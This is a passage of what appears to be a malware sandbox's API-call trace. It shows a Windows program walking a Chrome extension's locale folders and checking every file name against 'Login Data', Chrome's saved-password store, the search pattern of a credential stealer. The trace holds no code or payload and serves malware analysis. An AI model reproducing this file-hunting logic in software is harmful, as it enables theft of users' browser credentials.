Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.609] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.609] lstrlenA (lpString="da") returned 2 [0056.609] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.609] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.609] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0056.609] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.609] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned 131 [0056.609] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned 131 [0056.609] lstrlenA (lpString="\\*.*") returned 4 [0056.609] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.609] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0056.609] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*" [0056.609] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.609] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.609] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.609] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.609] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.609] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.610] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.610] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.610] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.610] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.610] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.610] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.610] lstrlenA (lpString="\\") returned 1 [0056.610] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.610] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.610] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.610] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.610] lstrlenA (lpString="de") returned 2 [0056.610] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.610] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.610] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0056.610] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.610] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned 131 [0056.610] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned 131 [0056.610] lstrlenA (lpString="\\*.*") returned 4 [0056.610] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.610] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0056.610] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*" [0056.610] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.610] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.610] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.610] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.610] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.610] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.610] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.610] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.610] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.610] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.610] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.610] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.610] lstrlenA (lpString="\\") returned 1 [0056.610] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.610] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.610] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.610] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.610] lstrlenA (lpString="el") returned 2 [0056.610] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.610] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.610] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0056.610] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.611] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned 131 [0056.611] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned 131 [0056.611] lstrlenA (lpString="\\*.*") returned 4 [0056.611] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.611] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0056.611] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*" [0056.611] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.611] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.611] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.611] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.611] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.611] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.611] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.611] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.611] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0056.611] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0056.611] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.611] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.611] lstrlenA (lpString="\\") returned 1 [0056.611] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.611] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.611] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.611] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.611] lstrlenA (lpString="en_GB") returned 5 [0056.611] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.611] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.611] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0056.611] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.611] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned 134 [0056.611] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned 134 [0056.611] lstrlenA (lpString="\\*.*") returned 4 [0056.611] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc508 [0056.611] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0056.611] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*" [0056.611] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.611] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.611] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.611] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.612] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.612] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.612] LocalFree (hMem=0x2dc508) returned 0x0 [0056.612] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.612] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0056.612] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0056.612] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.612] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.612] lstrlenA (lpString="\\") returned 1 [0056.612] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.612] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.612] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.612] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.612] lstrlenA (lpString="en_US") returned 5 [0056.612] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.612] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.612] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0056.612] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.612] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned 134 [0056.612] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned 134 [0056.612] lstrlenA (lpString="\\*.*") returned 4 [0056.612] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc508 [0056.612] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0056.612] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*" [0056.612] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.612] lstrcmpiA (lpString1=".", 